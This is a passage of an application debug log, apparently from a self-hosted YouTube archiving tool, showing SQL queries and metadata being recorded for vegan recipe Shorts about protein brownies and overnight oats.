idle=3.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-28 18:30:29Z], 1] 20:28:50.987 [debug] QUERY OK source="media_items" db=0.7ms idle=5.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I've spent the last few weeks adjusting my brownie recipe and I've cracked the perfect brownie code! I made these vegan, gluten free, oil free, soy free and nut free. You're absolutely going to love this brownie recipe and they're packed with protein.\n\nFull Recipe Video: https://youtu.be/CaX3rd60OUk\n\nSubscribe to my channel for more vegan and gluten free recipes. I have an amazing overnight oats recipe dropping later this week that you won't wanna miss. These overnight oats are so easy to make, perfect for the warmer summer months, and as always made gluten free and vegan.\n\nThanks for all your support! Janelle", "The Perfect Brownies", "2dc6c53f-06d3-43a3-a253-355a23a1a364", 1, [], 14, false, "ZE8CWCaRmDo", "https://www.youtube.com/shorts/ZE8CWCaRmDo", 347, "/downloads/downloads/alec/Steamy Vegan/2022-06-28 The Perfect Brownies/The Perfect Brownies [ZE8CWCaRmDo].NA", false, false, true, 0, ~U[2022-06-28 18:30:29Z], ~U[2026-03-22 03:28:50Z], ~U[2026-03-22 03:28:50Z], "I've spent the last few weeks adjusting my brownie recipe and I've cracked the perfect brownie code! I made these vegan, gluten free, oil free, soy free and nut free. You're absolutely going to love this brownie recipe and they're packed with protein.\n\nFull Recipe Video: https://youtu.be/CaX3rd60OUk\n\nSubscribe to my channel for more vegan and gluten free recipes. I have an amazing overnight oats recipe dropping later this week that you won't wanna miss. These overnight oats are so easy to make, perfect for the warmer summer months, and as always made gluten free and vegan.\n\nThanks for all your support! Janelle", "The Perfect Brownies", 1, 14, false, "ZE8CWCaRmDo", "https://www.youtube.com/shorts/ZE8CWCaRmDo", "/downloads/downloads/alec/Steamy Vegan/2022-06-28 The Perfect Brownies/The Perfect Brownies [ZE8CWCaRmDo].NA", true, ~U[2022-06-28 18:30:29Z]] 20:28:50.988 [debug] QUERY OK source="sources" db=0.5ms idle=5.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:50.988 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:28:50.989 [debug] QUERY OK source="media_items" db=0.4ms idle=4.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [736] 20:28:50.989 [debug] Current batch of media processed. Will check again in 1000ms 20:28:51.990 [debug] Current batch of media processed. Will check again in 1000ms 20:28:52.991 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "No matter what diet you're on, breakfast should always be delicious, healthy and fun. I've made these 3 dishes vegan and gluten free on my channel. \n\nWhich one are you craving the most for breakfast tomorrow?\n\nI have the 'Pina Colada Overnight Oats' recipe going up later this week so make sure to subscribe so you don't miss out on that one. Both the banana blender pancakes and the quinoa bowl are live on the channel now!!! Thanks for your support!\nJanelle", "duration" => 11, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-06-28 Which breakfast dish wins your heart? ❤️ 🤤/Which breakfast dish wins your heart? ❤️ 🤤 [66nkvdvOmpk].NA", "id" => "66nkvdvOmpk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/66nkvdvOmpk", "playlist_index" => 348, "timestamp" => 1656428404, "title" => "Which breakfast dish wins your heart? ❤️ 🤤", "upload_date" => "20220628"} 20:28:52.992 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=605.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:28:52.993 [debug] QUERY OK source="sources" db=0.6ms idle=409.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:52.995 [debug] QUERY OK source="media_items" db=2.0ms idle=410.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-28 15:00:04Z], 1] 20:28:52.997 [debug] QUERY OK source="media_items" db=1.4ms idle=412.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["No matter what diet you're on, breakfast should always be delicious, healthy and fun. I've made these 3 dishes vegan and gluten free on my channel. \n\nWhich one are you craving the most for breakfast tomorrow?\n\nI have the 'Pina Colada Overnight Oats' recipe going up later this week so make sure to subscribe so you don't miss out on that one. Both the banana blender pancakes and the quinoa bowl are live on the channel now!!! Thanks for your support!\nJanelle", "Which breakfast dish wins your heart? ❤️ 🤤", "e6c3322e-7933-42ac-becc-cad384aa9d8d", 1, [], 11, false, "66nkvdvOmpk", "https://www.youtube.com/shorts/66nkvdvOmpk", 348, "/downloads/downloads/alec/Steamy Vegan/2022-06-28 Which breakfast dish wins your heart? ❤️ 🤤/Which breakfast dish wins your heart? ❤️ 🤤 [66nkvdvOmpk].NA", false, false, true, 1, ~U[2022-06-28 15:00:04Z], ~U[2026-03-22 03:28:52Z], ~U[2026-03-22 03:28:52Z], "No matter what diet you're on, breakfast should always be delicious, healthy and fun. I've made these 3 dishes vegan and gluten free on my channel. \n\nWhich one are you craving the most for breakfast tomorrow?\n\nI have the 'Pina Colada Overnight Oats' recipe going up later this week so make sure to subscribe so you don't miss out on that one. Both the banana blender pancakes and the quinoa bowl are live on the channel now!!! Thanks for your support!\nJanelle", "Which breakfast dish wins your heart? ❤️ 🤤", 1, 11, false, "66nkvdvOmpk", "https://www.youtube.com/shorts/66nkvdvOmpk", "/downloads/downloads/alec/Steamy Vegan/2022-06-28 Which breakfast dish wins your heart? ❤️ 🤤/Which breakfast dish wins your heart? ❤️ 🤤 [66nkvdvOmpk].NA", true, ~U[2022-06-28 15:00:04Z]] 20:28:52.998 [debug] QUERY OK source="sources" db=0.3ms idle=414.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:52.998 [debug] QUERY OK source="media_profiles" db=0.6ms idle=5.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:28:52.999 [debug] QUERY OK source="media_items" db=0.4ms idle=5.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [737] 20:28:52.999 [debug] Current batch of media processed. Will check again in 1000ms 20:28:54.000 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Summer is here and so are my new overnight oats recipes! 🍓 🍋 🥭 🥥 \n\nCold soaked oats are PERFECT 😍 for warm summer mornings and on-the-go breakies! STAY TUNED FOR THE RECIPES DROPPING THIS WEEK! 👇🏻 \n\nWhat’s your favourite overnight oats recipe? ☺️", "duration" => 12, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-06-27 Overnight oats are the PERFECT summer breakfast ☀️/Overnight oats are the PERFECT summer breakfast ☀️ [7MV38U4fmO0].NA", "id" => "7MV38U4fmO0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/7MV38U4fmO0", "playlist_index" => 349, "timestamp" => 1656338404, "title" => "Overnight oats are the PERFECT summer breakfast ☀️", "upload_date" => "20220627"} 20:28:54.001 [debug] QUERY OK source="sources" db=1.1ms idle=1003.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:28:54.002 [debug] QUERY OK source="sources" db=0.7ms idle=1003.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:54.005 [debug] QUERY OK source="media_items" db=2.4ms idle=1004.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-27 14:00:04Z], 1] 20:28:54.008 [debug] QUERY OK source="media_items" db=2.4ms idle=1006.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Summer is here and so are my new overnight oats recipes! 🍓 🍋 🥭 🥥 \n\nCold soaked oats are PERFECT 😍 for warm summer mornings and on-the-go breakies! STAY TUNED FOR THE RECIPES DROPPING THIS WEEK! 👇🏻 \n\nWhat’s your favourite overnight oats recipe? ☺️", "Overnight oats are the PERFECT summer breakfast ☀️", "1ef81d68-ef95-420b-bb50-40e985be8af1", 1, [], 12, false, "7MV38U4fmO0", "https://www.youtube.com/shorts/7MV38U4fmO0", 349, "/downloads/downloads/alec/Steamy Vegan/2022-06-27 Overnight oats are the PERFECT summer breakfast ☀️/Overnight oats are the PERFECT summer breakfast ☀️ [7MV38U4fmO0].NA", false, false, true, 0, ~U[2022-06-27 14:00:04Z], ~U[2026-03-22 03:28:54Z], ~U[2026-03-22 03:28:54Z], "Summer is here and so are my new overnight oats recipes! 🍓 🍋 🥭 🥥 \n\nCold soaked oats are PERFECT 😍 for warm summer mornings and on-the-go breakies! STAY TUNED FOR THE RECIPES DROPPING THIS WEEK! 👇🏻 \n\nWhat’s your favourite overnight oats recipe? ☺️", "Overnight oats are the PERFECT summer breakfast ☀️", 1, 12, false, "7MV38U4fmO0", "https://www.youtube.com/shorts/7MV38U4fmO0", "/downloads/downloads/alec/Steamy Vegan/2022-06-27 Overnight oats are the PERFECT summer breakfast ☀️/Overnight oats are the PERFECT summer breakfast ☀️ [7MV38U4fmO0].NA", true, ~U[2022-06-27 14:00:04Z]] 20:28:54.009 [debug] QUERY OK source="sources" db=0.5ms idle=619.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:54.010 [debug] QUERY OK source="media_profiles" db=0.5ms idle=7.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:28:54.011 [debug] QUERY OK source="media_items" db=0.3ms idle=7.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [738] 20:28:54.011 [debug] Current batch of media processed. Will check again in 1000ms 20:28:55.012 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Word on the street 👀 is these are the BEST vegan protein brownies! 12 grams of protein per brownie plus they're gluten, nut and oil-free! Plus, they're pretty high on the fudgey factor 🤤\n\nGOOD PROTEIN: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your first order at GOODPROTEIN.CA with my coupon code: STEAMYVEGANKITCHEN30\n\nFULL RECIPE VIDEO ON MY CHANNEL ➡️ https://youtu.be/CaX3rd60OUk\nFULL RECIPE BLOG ON MY WEBSITE ➡️ https://steamyvegankitchen.com/protein-brownies/\n\nSUBSCRIBE to @steamyvegan for more yummy vegan recipes! \n\n\nMusic by Naomi - Gummy Bear - https://thmatc.co/?l=700823B8", "duration" => 60, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-06-27 How to make the best vegan protein brownies 💪🏻 🍫/How to make the best vegan protein brownies 💪🏻 🍫 [AZHbALm6b9E].NA", "id" => "AZHbALm6b9E", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/AZHbALm6b9E", "playlist_index" => 350, "timestamp" => 1656288003, "title" => "How to make the best vegan protein brownies 💪🏻 🍫", "upload_date" => "20220627"} 20:28:55.013 [debug] QUERY OK source="sources" db=0.5ms idle=1004.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:28:55.014 [debug] QUERY OK source="sources" db=0.6ms idle=1004.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:55.016 [debug] QUERY OK source="media_items" db=1.8ms idle=1004.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-27 00:00:03Z], 1] 20:28:55.022 [debug] QUERY OK source="media_items" db=5.5ms idle=1005.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Word on the street 👀 is these are the BEST vegan protein brownies! 12 grams of protein per brownie plus they're gluten, nut and oil-free! Plus, they're pretty high on the fudgey factor 🤤\n\nGOOD PROTEIN: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your first order at GOODPROTEIN.CA with my coupon code: STEAMYVEGANKITCHEN30\n\nFULL RECIPE VIDEO ON MY CHANNEL ➡️ https://youtu.be/CaX3rd60OUk\nFULL RECIPE BLOG ON MY WEBSITE ➡️ https://steamyvegankitchen.com/protein-brownies/\n\nSUBSCRIBE to @steamyvegan for more yummy vegan recipes! \n\n\nMusic by Naomi - Gummy Bear - https://thmatc.co/?l=700823B8", "How to make the best vegan protein brownies 💪🏻 🍫", "847da7ed-1f49-4611-8e86-325c750e4481", 1, [], 60, false, "AZHbALm6b9E", "https://www.youtube.com/shorts/AZHbALm6b9E", 350, "/downloads/downloads/alec/Steamy Vegan/2022-06-27 How to make the best vegan protein brownies 💪🏻 🍫/How to make the best vegan protein brownies 💪🏻 🍫 [AZHbALm6b9E].NA", false, false, true, 1, ~U[2022-06-27 00:00:03Z], ~U[2026-03-22 03:28:55Z], ~U[2026-03-22 03:28:55Z], "Word on the street 👀 is these are the BEST vegan protein brownies! 12 grams of protein per brownie plus they're gluten, nut and oil-free! Plus, they're pretty high on the fudgey factor 🤤\n\nGOOD PROTEIN: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your first order at GOODPROTEIN.CA with my coupon code: STEAMYVEGANKITCHEN30\n\nFULL RECIPE VIDEO ON MY CHANNEL ➡️ https://youtu.be/CaX3rd60OUk\nFULL RECIPE BLOG ON MY WEBSITE ➡️ https://steamyvegankitchen.com/protein-brownies/\n\nSUBSCRIBE to @steamyvegan for more yummy vegan recipes! \n\n\nMusic by Naomi - Gummy Bear - https://thmatc.co/?l=700823B8", "How to make the best vegan protein brownies 💪🏻 🍫", 1, 60, false, "AZHbALm6b9E", "https://www.youtube.com/shorts/AZHbALm6b9E", "/downloads/downloads/alec/Steamy Vegan/2022-06-27 How to make the best vegan protein brownies 💪🏻 🍫/How to make the best vegan protein brownies 💪🏻 🍫 [AZHbALm6b9E].NA", true, ~U[2022-06-27 00:00:03Z]] 20:28:55.023 [debug] QUERY OK source="sources" db=0.5ms idle=631.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:55.024 [debug] QUERY OK source="media_profiles" db=0.5ms idle=9.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:28:55.024 [debug] QUERY OK source="media_items" db=0.5ms idle=9.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [739] 20:28:55.025 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "I have food tested these for the past 2 weeks trying to create the perfect brownie recipe and I've done it!!! These were so delicious, the perfect chewyness, and packed full of protein. You've gotta try making these vegan and gluten free brownies for yourself below:\n\nFull recipe video: https://youtu.be/CaX3rd60OUk\n\nDon't forget to subscribe for more daily content and weekly vegan and gluten free recipe videos! Thanks for all your support! Janelle", "duration" => 14, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-06-26 These Brownies Always Get Me Drooling/These Brownies Always Get Me Drooling [zmZnqJ_mZKE].NA", "id" => "zmZnqJ_mZKE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/zmZnqJ_mZKE", "playlist_index" => 351, "timestamp" => 1656203642, "title" => "These Brownies Always Get Me Drooling", "upload_date" => "20220626"} 20:28:55.025 [debug] QUERY OK source="sources" db=0.7ms idle=8.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:28:55.026 [debug] QUERY OK source="sources" db=0.3ms idle=3.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", 